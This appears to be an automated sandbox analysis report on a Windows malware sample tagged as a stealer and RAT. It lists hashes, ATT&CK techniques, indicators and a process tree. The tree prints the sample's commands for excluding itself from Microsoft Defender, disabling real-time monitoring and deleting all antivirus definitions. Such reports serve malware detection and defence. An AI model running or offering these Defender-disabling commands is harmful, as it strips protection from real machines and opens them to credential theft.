2c977504991ca14db0ca8092beba851f294e1cb22a15e1ec76a47fdfae87875d

Analysis

max time kernel
149s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 06:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
Size 7.0MB
Sample260822-gv4sysfk2y
SHA256 2c977504991ca14db0ca8092beba851f294e1cb22a15e1ec76a47fdfae87875d
MD5 c6a2c38de186ca7577858a46298baa42
SHA1 ed563ba8e97acd1ce2a4e4647544d50cc8fbf146
SHA512 b66fb8fcbee679c1ba441bb9f6a1ee45934249638fdb77d8921851fdd67df9751fe191dd26283c4e02f2a4e6eb8d0ff9ee4014ad856f0552aeb508dd6c80bf7f
SSDEEP 98304:TnzHqdVfB2GyuT/9vUIdD9C+z3zO917vOTh+ezsNh75S2zh/hQqOBpDQvmJ1YPFp:TLQsGbT/9bvLz3S1bA32zOqePYPdZ
TLSH
T184763399A3C209F5D477C63EC2C28945DDB4752B03A4DA8F03B462B61F17AD48D7BB22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
6132	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1360	powershell.exe
1224	powershell.exe
3304	powershell.exe
4432	powershell.exe
5956	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5956	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4928	cmd.exe
1708	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4124	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
19	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 5 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3508	tasklist.exe
1860	tasklist.exe
3772	tasklist.exe
3404	tasklist.exe
1412	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c510-21.dat	upx
behavioral2/memory/5888-24-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/files/0x000d00000001c505-27.dat	upx
behavioral2/files/0x000c00000001c50e-29.dat	upx
behavioral2/memory/5888-30-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp	upx
behavioral2/memory/5888-32-0x00007FFF1AD30000-0x00007FFF1AD3F000-memory.dmp	upx
behavioral2/files/0x000d00000001c508-38.dat	upx
behavioral2/memory/5888-40-0x00007FFF18B60000-0x00007FFF18B8D000-memory.dmp	upx
behavioral2/files/0x000d00000001c504-41.dat	upx
behavioral2/memory/5888-44-0x00007FFF17080000-0x00007FFF17099000-memory.dmp	upx
behavioral2/files/0x000d00000001c50b-43.dat	upx
behavioral2/files/0x000c00000001c513-46.dat	upx
behavioral2/memory/5888-47-0x00007FFF17050000-0x00007FFF17073000-memory.dmp	upx
behavioral2/memory/5888-49-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp	upx
behavioral2/files/0x000d00000001c50a-50.dat	upx
behavioral2/files/0x000c00000001c512-52.dat	upx
behavioral2/files/0x000c00000001c50d-56.dat	upx
behavioral2/files/0x000c00000001c50f-57.dat	upx
behavioral2/memory/5888-63-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp	upx
behavioral2/memory/5888-60-0x00007FFF17020000-0x00007FFF1702D000-memory.dmp	upx
behavioral2/memory/5888-65-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp	upx
behavioral2/memory/5888-64-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-59-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp	upx
behavioral2/memory/5888-58-0x00007FFF17030000-0x00007FFF17049000-memory.dmp	upx
behavioral2/files/0x000c00000001c50c-55.dat	upx
behavioral2/files/0x000d00000001c507-66.dat	upx
behavioral2/memory/5888-70-0x00007FFF16F10000-0x00007FFF16F24000-memory.dmp	upx
behavioral2/files/0x000c00000001c514-73.dat	upx
behavioral2/memory/5888-72-0x00007FFF14DD0000-0x00007FFF14DDD000-memory.dmp	upx
behavioral2/memory/5888-75-0x00007FFF0AE40000-0x00007FFF0AF5C000-memory.dmp	upx
behavioral2/files/0x000d00000001c509-71.dat	upx
behavioral2/memory/5888-69-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp	upx
behavioral2/memory/5888-88-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp	upx
behavioral2/memory/5888-91-0x00007FFF17050000-0x00007FFF17073000-memory.dmp	upx
behavioral2/memory/5888-96-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp	upx
behavioral2/memory/5888-95-0x00007FFF17030000-0x00007FFF17049000-memory.dmp	upx
behavioral2/memory/5888-97-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp	upx
behavioral2/memory/5888-98-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp	upx
behavioral2/memory/5888-100-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp	upx
behavioral2/memory/5888-99-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-114-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-144-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-298-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp	upx
behavioral2/memory/5888-306-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp	upx
behavioral2/memory/5888-308-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp	upx
behavioral2/memory/5888-307-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp	upx
behavioral2/memory/5888-303-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp	upx
behavioral2/memory/5888-297-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-312-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-327-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-347-0x00007FFF17050000-0x00007FFF17073000-memory.dmp	upx
behavioral2/memory/5888-342-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp	upx
behavioral2/memory/5888-348-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp	upx
behavioral2/memory/5888-353-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp	upx
behavioral2/memory/5888-356-0x00007FFF0AE40000-0x00007FFF0AF5C000-memory.dmp	upx
behavioral2/memory/5888-352-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp	upx
behavioral2/memory/5888-355-0x00007FFF14DD0000-0x00007FFF14DDD000-memory.dmp	upx
behavioral2/memory/5888-354-0x00007FFF16F10000-0x00007FFF16F24000-memory.dmp	upx
behavioral2/memory/5888-351-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp	upx
behavioral2/memory/5888-350-0x00007FFF17020000-0x00007FFF1702D000-memory.dmp	upx
behavioral2/memory/5888-349-0x00007FFF17030000-0x00007FFF17049000-memory.dmp	upx
behavioral2/memory/5888-346-0x00007FFF17080000-0x00007FFF17099000-memory.dmp	upx
behavioral2/memory/5888-345-0x00007FFF18B60000-0x00007FFF18B8D000-memory.dmp	upx
behavioral2/memory/5888-344-0x00007FFF1AD30000-0x00007FFF1AD3F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 36 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2212	cmd.exe
2364	cmd.exe
2568	cmd.exe
2908	cmd.exe
5840	cmd.exe
6048	cmd.exe
2940	cmd.exe
3588	cmd.exe
2492	cmd.exe
5616	cmd.exe
2856	cmd.exe
2724	cmd.exe
2236	cmd.exe
4200	cmd.exe
2540	cmd.exe
1888	cmd.exe
5176	cmd.exe
4588	cmd.exe
5396	cmd.exe
3504	cmd.exe
252	cmd.exe
5228	cmd.exe
4488	cmd.exe
4992	cmd.exe
1328	cmd.exe
2964	cmd.exe
2032	cmd.exe
1832	cmd.exe
1628	cmd.exe
4576	cmd.exe
1556	cmd.exe
1796	cmd.exe
2056	cmd.exe
4300	cmd.exe
5524	cmd.exe
4984	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1628	cmd.exe
4972	netsh.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3852	WMIC.exe
5184	WMIC.exe
4776	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5580	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

pid	Process
5956	powershell.exe
5956	powershell.exe
5956	powershell.exe
5908	WMIC.exe
5908	WMIC.exe
5908	WMIC.exe
5908	WMIC.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
3852	WMIC.exe
3852	WMIC.exe
3852	WMIC.exe
3852	WMIC.exe
5184	WMIC.exe
5184	WMIC.exe
5184	WMIC.exe
5184	WMIC.exe
1224	powershell.exe
1224	powershell.exe
5764	WMIC.exe
5764	WMIC.exe
5764	WMIC.exe
5764	WMIC.exe
1224	powershell.exe
1224	powershell.exe
1708	powershell.exe
1708	powershell.exe
1708	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3304	powershell.exe
3304	powershell.exe
3304	powershell.exe
3620	powershell.exe
3620	powershell.exe
3620	powershell.exe
4256	WMIC.exe
4256	WMIC.exe
4256	WMIC.exe
4256	WMIC.exe
1868	WMIC.exe
1868	WMIC.exe
1868	WMIC.exe
1868	WMIC.exe
5876	WMIC.exe
5876	WMIC.exe
5876	WMIC.exe
5876	WMIC.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4776	WMIC.exe
4776	WMIC.exe
4776	WMIC.exe
4776	WMIC.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3508	tasklist.exe
Token: SeDebugPrivilege	5956	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeIncreaseQuotaPrivilege	5908	WMIC.exe
Token: SeSecurityPrivilege	5908	WMIC.exe
Token: SeTakeOwnershipPrivilege	5908	WMIC.exe
Token: SeLoadDriverPrivilege	5908	WMIC.exe
Token: SeSystemProfilePrivilege	5908	WMIC.exe
Token: SeSystemtimePrivilege	5908	WMIC.exe
Token: SeProfSingleProcessPrivilege	5908	WMIC.exe
Token: SeIncBasePriorityPrivilege	5908	WMIC.exe
Token: SeCreatePagefilePrivilege	5908	WMIC.exe
Token: SeBackupPrivilege	5908	WMIC.exe
Token: SeRestorePrivilege	5908	WMIC.exe
Token: SeShutdownPrivilege	5908	WMIC.exe
Token: SeDebugPrivilege	5908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5908	WMIC.exe
Token: SeRemoteShutdownPrivilege	5908	WMIC.exe
Token: SeUndockPrivilege	5908	WMIC.exe
Token: SeManageVolumePrivilege	5908	WMIC.exe
Token: 33	5908	WMIC.exe
Token: 34	5908	WMIC.exe
Token: 35	5908	WMIC.exe
Token: 36	5908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5908	WMIC.exe
Token: SeSecurityPrivilege	5908	WMIC.exe
Token: SeTakeOwnershipPrivilege	5908	WMIC.exe
Token: SeLoadDriverPrivilege	5908	WMIC.exe
Token: SeSystemProfilePrivilege	5908	WMIC.exe
Token: SeSystemtimePrivilege	5908	WMIC.exe
Token: SeProfSingleProcessPrivilege	5908	WMIC.exe
Token: SeIncBasePriorityPrivilege	5908	WMIC.exe
Token: SeCreatePagefilePrivilege	5908	WMIC.exe
Token: SeBackupPrivilege	5908	WMIC.exe
Token: SeRestorePrivilege	5908	WMIC.exe
Token: SeShutdownPrivilege	5908	WMIC.exe
Token: SeDebugPrivilege	5908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5908	WMIC.exe
Token: SeRemoteShutdownPrivilege	5908	WMIC.exe
Token: SeUndockPrivilege	5908	WMIC.exe
Token: SeManageVolumePrivilege	5908	WMIC.exe
Token: 33	5908	WMIC.exe
Token: 34	5908	WMIC.exe
Token: 35	5908	WMIC.exe
Token: 36	5908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1360	powershell.exe
Token: SeSecurityPrivilege	1360	powershell.exe
Token: SeTakeOwnershipPrivilege	1360	powershell.exe
Token: SeLoadDriverPrivilege	1360	powershell.exe
Token: SeSystemProfilePrivilege	1360	powershell.exe
Token: SeSystemtimePrivilege	1360	powershell.exe
Token: SeProfSingleProcessPrivilege	1360	powershell.exe
Token: SeIncBasePriorityPrivilege	1360	powershell.exe
Token: SeCreatePagefilePrivilege	1360	powershell.exe
Token: SeBackupPrivilege	1360	powershell.exe
Token: SeRestorePrivilege	1360	powershell.exe
Token: SeShutdownPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeSystemEnvironmentPrivilege	1360	powershell.exe
Token: SeRemoteShutdownPrivilege	1360	powershell.exe
Token: SeUndockPrivilege	1360	powershell.exe
Token: SeManageVolumePrivilege	1360	powershell.exe
Token: 33	1360	powershell.exe
Token: 34	1360	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3612 wrote to memory of 5888	3612	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	89
PID 5888 wrote to memory of 5524	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	90
PID 5888 wrote to memory of 1832	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	91
PID 5888 wrote to memory of 1888	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	92
PID 5888 wrote to memory of 5176	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	96
PID 5888 wrote to memory of 2056	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	98
PID 1832 wrote to memory of 5956	1832	cmd.exe	100
PID 5176 wrote to memory of 3508	5176	cmd.exe	101
PID 5524 wrote to memory of 1360	5524	cmd.exe	102
PID 1888 wrote to memory of 3616	1888	cmd.exe	103
PID 2056 wrote to memory of 5908	2056	cmd.exe	104
PID 1832 wrote to memory of 6132	1832	cmd.exe	107
PID 5888 wrote to memory of 4488	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	109
PID 4488 wrote to memory of 5156	4488	cmd.exe	111
PID 5888 wrote to memory of 4588	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	112
PID 4588 wrote to memory of 1868	4588	cmd.exe	114
PID 5888 wrote to memory of 4300	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	115
PID 4300 wrote to memory of 3852	4300	cmd.exe	117
PID 5888 wrote to memory of 4984	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	118
PID 4984 wrote to memory of 5184	4984	cmd.exe	120
PID 5888 wrote to memory of 4992	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	121
PID 4992 wrote to memory of 1224	4992	cmd.exe	123
PID 5888 wrote to memory of 5396	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	124
PID 5888 wrote to memory of 2212	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	126
PID 5888 wrote to memory of 3588	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	128
PID 5888 wrote to memory of 4928	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	129
PID 2212 wrote to memory of 1860	2212	cmd.exe	130
PID 5888 wrote to memory of 2908	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	133
PID 5888 wrote to memory of 2724	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	134
PID 5396 wrote to memory of 3772	5396	cmd.exe	137
PID 2908 wrote to memory of 2756	2908	cmd.exe	138
PID 4928 wrote to memory of 1708	4928	cmd.exe	139
PID 3588 wrote to memory of 5764	3588	cmd.exe	140
PID 2724 wrote to memory of 3404	2724	cmd.exe	141
PID 5888 wrote to memory of 1628	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	142
PID 5888 wrote to memory of 2236	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	144
PID 5888 wrote to memory of 3504	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	145
PID 5888 wrote to memory of 5840	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	147
PID 5888 wrote to memory of 2100	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	150
PID 1628 wrote to memory of 4972	1628	cmd.exe	152
PID 5840 wrote to memory of 5240	5840	cmd.exe	153
PID 3504 wrote to memory of 1380	3504	cmd.exe	154
PID 2100 wrote to memory of 3300	2100	cmd.exe	155
PID 2236 wrote to memory of 5580	2236	cmd.exe	156
PID 5888 wrote to memory of 252	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	157
PID 5888 wrote to memory of 2492	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	158
PID 252 wrote to memory of 5924	252	cmd.exe	161
PID 2492 wrote to memory of 3428	2492	cmd.exe	162
PID 5888 wrote to memory of 4576	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	163
PID 5888 wrote to memory of 1328	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	165
PID 4576 wrote to memory of 3916	4576	cmd.exe	167
PID 1328 wrote to memory of 2952	1328	cmd.exe	168
PID 3300 wrote to memory of 6008	3300	powershell.exe	169
PID 5888 wrote to memory of 1556	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	170
PID 5888 wrote to memory of 2364	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	172
PID 1556 wrote to memory of 440	1556	cmd.exe	174
PID 2364 wrote to memory of 1412	2364	cmd.exe	175
PID 6008 wrote to memory of 1748	6008	csc.exe	176
PID 5888 wrote to memory of 5616	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	177
PID 5616 wrote to memory of 2072	5616	cmd.exe	179
PID 5888 wrote to memory of 2964	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	180
PID 2964 wrote to memory of 3304	2964	cmd.exe	182
PID 5888 wrote to memory of 6048	5888	2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	183
PID 6048 wrote to memory of 5612	6048	cmd.exe	185

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3428	attrib.exe
2952	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3612
- C:\Users\Admin\AppData\Local\Temp\2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-21_c6a2c38de186ca7577858a46298baa42_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5956
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:6132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('oops 25/25 limit users', 0, 'limit', 48+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('oops 25/25 limit users', 0, 'limit', 48+16);close()"
      4⤵
      PID:3616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
